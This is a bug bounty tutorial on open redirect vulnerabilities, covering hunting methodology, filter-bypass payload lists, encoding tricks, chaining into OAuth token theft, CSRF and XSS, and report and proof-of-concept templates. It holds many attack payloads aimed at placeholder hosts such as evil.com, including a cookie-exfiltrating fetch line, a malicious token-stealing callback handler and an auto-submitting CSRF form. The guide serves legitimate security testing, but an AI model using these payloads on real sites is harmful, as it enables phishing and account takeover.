Understanding Open Redirects
In the realm of bug bounty hunting, open redirects often get dismissed as low-impact findings. However, understanding their nuances and potential impact chains can turn these seemingly basic vulnerabilities into real security issues - and profitable bounties.
What Are Open Redirects?
At their core, open redirect vulnerabilities occur when an application allows user-controlled input to redirect users to arbitrary destinations. Consider this scenario:
# Vulnerable redirect implementation
@app.route('/redirect')
def redirect():
destination = request.args.get('next')
return redirect(destination)
This snippet represents thousands of vulnerable endpoints across the web. While developers implement these redirects for legitimate purposes like authentication flows and payment callbacks, they often fail to properly validate the destination.
Despite being well-understood, open redirects remain prevalent for several reasons:
Modern single-page applications (SPAs) heavily rely on redirect mechanisms for authentication flows.
OAuth 2.0 implementations require redirect_uri parameters, creating new attack surfaces.
Payment processors depend on callback URLs for transaction completion.
Consider this OAuth implementation:
// OAuth authorization request
const authURL = `https://auth.target.com/oauth/authorize
?client_id=${clientId}
&redirect_uri=${redirectURI}
&response_type=code`;
If redirect_uri validation is weak, attackers can hijack the entire OAuth flow.
Common Impact Scenarios
Modern open redirect impacts extend beyond simple phishing:
OAuth Token Theft: Redirecting OAuth callbacks to attacker-controlled domains
Session Fixation: Manipulating authentication flows
Bypass Security Controls: Evading same-origin policies
Enhanced Phishing: Leveraging trusted domains for attacks
While some security teams dismiss open redirects, major platforms continue paying bounties for them, particularly when:
They affect authentication flows
Enable token theft
Chain with other vulnerabilities
Bypass security mechanisms
## Real-World Example
Let's examine a recent finding that earned a significant bounty:
Original URL:
https://auth.target.com/login?redirect_to=https://target.com/dashboard
Exploited URL:
https://auth.target.com/login?redirect_to=https://attacker.com/fake-dashboard
The application intended to redirect authenticated users to their dashboard. However, lack of proper validation allowed redirecting to arbitrary domains while maintaining the legitimate auth.target.com origin in the address bar until the redirect occurred. Understanding these nuances - why certain redirects earn bounties while others don't - is crucial for successful bug bounty hunting.
Note: Company names and bounty amounts are illustrative examples. Real program names should be replaced with actual examples from public disclosure.
Hunting Methodology
The key to successfully hunting open redirects lies in understanding where and how applications handle redirections. Let's break down the most profitable hunting grounds and how to approach them systematically.
First, let's build our parameter wordlist. While basic parameters like 'redirect' are well-known, modern applications use various parameters for redirection:
redirect_params = [
'return', 'return_to', 'return_path', 'returnTo',
'goto', 'next', 'redirect', 'redirect_to', 'redirect_uri',
'destination', 'dest', 'location', 'response_url',
'continue', 'url', 'window', 'target', 'to', 'out',
'view', 'dir', 'show', 'navigation', 'open', 'page'
]
Authentication Flows
Authentication systems are gold mines for open redirects. Focus on:
# Login redirects
/login?next=https://target.com/dashboard
/signin?returnTo=https://target.com/account
/oauth/authorize?redirect_uri=https://app.target.com/callback
# Logout redirects
/logout?return_to=https://target.com
/signout?continue=https://target.com/login
Pay special attention to error handlers and authentication failure paths:
/auth/error?return=https://target.com/login
/login/failed?redirect_to=https://target.com/retry
## OAuth and SSO Implementation
OAuth implementations frequently contain redirect vulnerabilities. Key areas to test:
# Authorization endpoints
/oauth/authorize?redirect_uri=[PAYLOAD]
/oauth2/auth?redirect_uri=[PAYLOAD]
# Callback handlers
/oauth/callback?state=[PAYLOAD]
/auth/callback?code=[CODE]&redirect_uri=[PAYLOAD]
# SSO endpoints
/saml/assertion?RelayState=[PAYLOAD]
/sso/redirect?SAMLRequest=[REQUEST]&RelayState=[PAYLOAD]
## Payment Systems
Payment flows often require redirect capabilities for callbacks:
# Payment completion
/payment/complete?return_url=[PAYLOAD]
/checkout/callback?redirect=[PAYLOAD]
# Transaction status
/transaction/[ID]/status?return_to=[PAYLOAD]
## Modern Framework Patterns
Modern frameworks handle redirects differently. Common patterns:
// Next.js
router.push(query.redirect || '/dashboard')
// React Router
navigate(searchParams.get('return_to'))
// Vue Router
router.replace(route.query.redirect)
## Systematic Testing Approach
1. Map the application:
# Python script snippet for finding redirect parameters
def find_redirects(url):
parsed = urlparse(url)
params = parse_qs(parsed.query)
redirect_params = []
for param in params:
if any(r in param.lower() for r in REDIRECT_KEYWORDS):
redirect_params.append(param)
return redirect_params
2. Test validation bypasses:
# Common bypass patterns
https://target.com@evil.com
https://evil.com/target.com
https://target.com.evil.com
https://evil.com#target.com
https://evil.com%23target.com
//evil.com
\/\/evil.com
3. Check for path traversal combinations:
/redirect?url=/../../redirect?url=https://evil.com
/redirect?url=////evil.com
/redirect?url=\\evil.com
Remember: Successful open redirect hunting requires understanding both the technical implementation and the business logic behind redirect functionality. In the next chapter, we'll explore advanced detection techniques and filter bypasses.
Advanced Detection and Bypasses
Once you've identified potential redirect parameters, the real challenge begins: bypassing security filters. Modern applications implement various protection mechanisms, but most can be circumvented with the right techniques.
## Filter Bypass Techniques
Common validation patterns and their bypasses:
// Common validation code
function isValidRedirect(url) {
return url.startsWith('https://target.com');
}
// Bypass attempts
https://target.com.evil.com
https://target.com@evil.com
https://target.com%252F@evil.com
https://target.com//@evil.com
Domain Validation Bypasses
Applications often use regex or string matching for validation:
# Vulnerable validation
def is_safe_domain(url):
return "target.com" in url
# Bypass examples
https://attackertarget.com
https://target.com.attacker.com
https://target.com.attacker.com/phishing
https://target.com@evil.com
## Advanced Encoding Tricks
Multiple encoding layers can bypass filters:
# Original URL
https://evil.com
# Single encode
https%3A%2F%2Fevil.com
# Double encode
https%253A%252F%252Fevil.com
# Mixed encode
https%3A%252F%252Fevil.com
# Unicode normalization
https://ℯvil.com
https://evil。com
## Protocol Handler Abuse
Leverage different URL schemes:
# Common schemes
data:text/html,<script>location='https://evil.com'</script>
javascript:window.location='https://evil.com'
feed:https://evil.com
ftp://evil.com
\\evil.com
JavaScript Redirect Methods
When applications process URLs through JavaScript:
// Different redirect methods to try
window.location = 'https://evil.com'
window.location.href = 'https://evil.com'
window.location.replace('https://evil.com')
window.navigate('https://evil.com')
window.open('https://evil.com')
document.location = 'https://evil.com'
Real-World Bypass Example
Here's a sophisticated bypass that earned a significant bounty:
// Original validation
if (!url.startsWith('https://target.com')) {
return false;
}
// Bypass using URL parsing quirk
const payload = 'https://target.com%2F%2F@evil.com';
// Browser parses as: https://evil.com
// Application sees: https://target.com//@evil.com
Advanced Chaining Techniques
Combine redirects with other vulnerabilities:
// CRLF injection + Open Redirect
/redirect?url=https://target.com%0d%0aLocation:%20https://evil.com
// XSS + Open Redirect
/redirect?url=javascript:fetch('https://evil.com/'+document.cookie)
// Path traversal + Open Redirect
/redirect?url=/../../redirect?url=https://evil.com
Testing Methodology
Systematic approach to finding bypasses:
def test_bypasses(url, parameter):
bypasses = [
"https://target.com@evil.com",
"https://evil.com#target.com",
"https://target.com.evil.com",
"//evil.com",
"\/\/evil.com",
"%2F%2Fevil.com",
"https:evil.com",
"https;evil.com"
]
for bypass in bypasses:
test_url = add_payload(url, parameter, bypass)
response = send_request(test_url)
analyze_response(response)
Remember: The key to successful bypass attempts is understanding how the application processes and validates URLs at different layers. Sometimes, what appears as a valid URL to the application's security filter will be interpreted differently by the browser.
Chaining for Impact
While standalone open redirects often receive minimal bounties, chaining them with other vulnerabilities can lead to critical findings. This chapter explores how to escalate impact and maximize payouts through clever vulnerability chains.
## OAuth Token Theft Chains
OAuth implementations are prime targets for chaining:
# Original OAuth Flow
/oauth/authorize
?client_id=12345
&redirect_uri=https://app.target.com/callback
&response_type=code
# Exploited Chain
/oauth/authorize
?client_id=12345
&redirect_uri=https://target.com.callback.evil.com/callback
&response_type=code
The attacker's server captures the authorization code:
# Malicious callback handler
@app.route('/callback')
def steal_token():
auth_code = request.args.get('code')
# Exchange code for access token
token = exchange_code_for_token(auth_code)
store_stolen_token(token)
return redirect('https://target.com')
CSRF + Open Redirect
Combine CSRF with redirects to bypass protections:
<!-- CSRF + Open Redirect Chain -->
<form action="https://target.com/api/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="redirect_uri"
value="https://evil.com/logger">
</form>
<script>document.forms[0].submit()</script>
XSS Through Redirects
When direct XSS fails, try through redirects:
// Application code
function redirect(url) {
// Validates URL but not content
if (isValidDomain(url)) {
window.location = decodeURIComponent(url);
}
}
// Exploit
/redirect?url=https://target.com/javascript:alert(document.cookie)
Authentication Bypass Chains
Leverage redirects in authentication flows:
# Normal flow
/login?redirect_to=https://target.com/dashboard
# Exploit chain
/login?redirect_to=https://target.com/admin/settings%2f@evil.com
Server-side code vulnerability:
def process_login():
if authenticate(username, password):
return redirect(request.args.get('redirect_to'))
# No validation on redirect_to parameter
Real-World Chain Example
This chain earned a $10,000 bounty:
// Step 1: Find open redirect in password reset
/reset?return_to=https://evil.com
// Step 2: Discover OAuth endpoint using same validation
/oauth/authorize?redirect_uri=[PAYLOAD]
// Step 3: Chain together
/oauth/authorize
?client_id=mobile_app
&redirect_uri=https://target.com%2F@evil.com/callback
&response_type=code
&scope=full_access
Maximizing Bounty Potential
Key factors that increase payouts:
Clear attack flow documentation
Proof of data access
Demonstration of business impact
Clean proof of concept
Realistic attack scenarios
Remember: The key to successful chains is understanding how different components interact and identifying weak validation points that can be combined for greater impact.
[Continue to Chapter 5: Reporting and Impact...]
# Chapter 5: Reporting and Impact
Writing effective reports and demonstrating real impact separates successful bug bounty hunters from the crowd. This chapter focuses on maximizing your findings' value and navigating common challenges.
## Effective Report Writing
Structure your reports for maximum impact:
```markdown
# Open Redirect Chain to Account Takeover
## Summary
Critical vulnerability allowing account takeover through
chained OAuth redirect manipulation.
## Technical Details
Initial endpoint:
```http
GET /oauth/authorize
?client_id=mobile_app
&redirect_uri=https://target.com.evil.com/callback
```
Validation bypass:
```javascript
// Vulnerable validation
allowedDomains.includes(url.hostname)
// Bypassed with subdomain manipulation
```
Impact chain:
1. Redirect token to attacker domain
2. Capture OAuth credentials
3. Full account access
```
## Demonstrating Business Impact
Convert technical findings into business risks:
# Don't just show the redirect, demonstrate impact
def proof_of_concept():
# Step 1: Capture OAuth token
stolen_token = capture_oauth_flow()
# Step 2: Demonstrate data access
user_data = get_sensitive_data(stolen_token)
# Step 3: Show business impact
payment_info = access_payment_details(stolen_token)
return {
'user_data': user_data,
'payment_info': payment_info,
'account_access': True
}
## Clean PoC Creation
Provide clean, reusable proof of concepts:
#!/usr/bin/env python3
"""
Open Redirect to Account Takeover PoC
Target: target.com
Author: your_name
Date: 2024-01-20
"""
import requests
def demonstrate_vulnerability():
# Configuration
TARGET = "https://target.com"
CALLBACK = "https://attacker.com/callback"
# Step 1: Setup malicious OAuth flow
params = {
"client_id": "mobile_app",
"redirect_uri": f"https://target.com@{CALLBACK}",
"response_type": "code"
}
# Step 2: Execute attack
r = requests.get(f"{TARGET}/oauth/authorize", params=params)
return "Execute with: ./poc.py"
if __name__ == "__main__":
demonstrate_vulnerability()
Handling Common Pushback
Prepare for common responses:
Final Tips for Success
1. Document Everything
2. Follow Up Effectively
3. Build Reputation
Remember: Success in bug bounty hunting isn't just about finding vulnerabilities - it's about effectively communicating their impact and building a strong reputation in the community.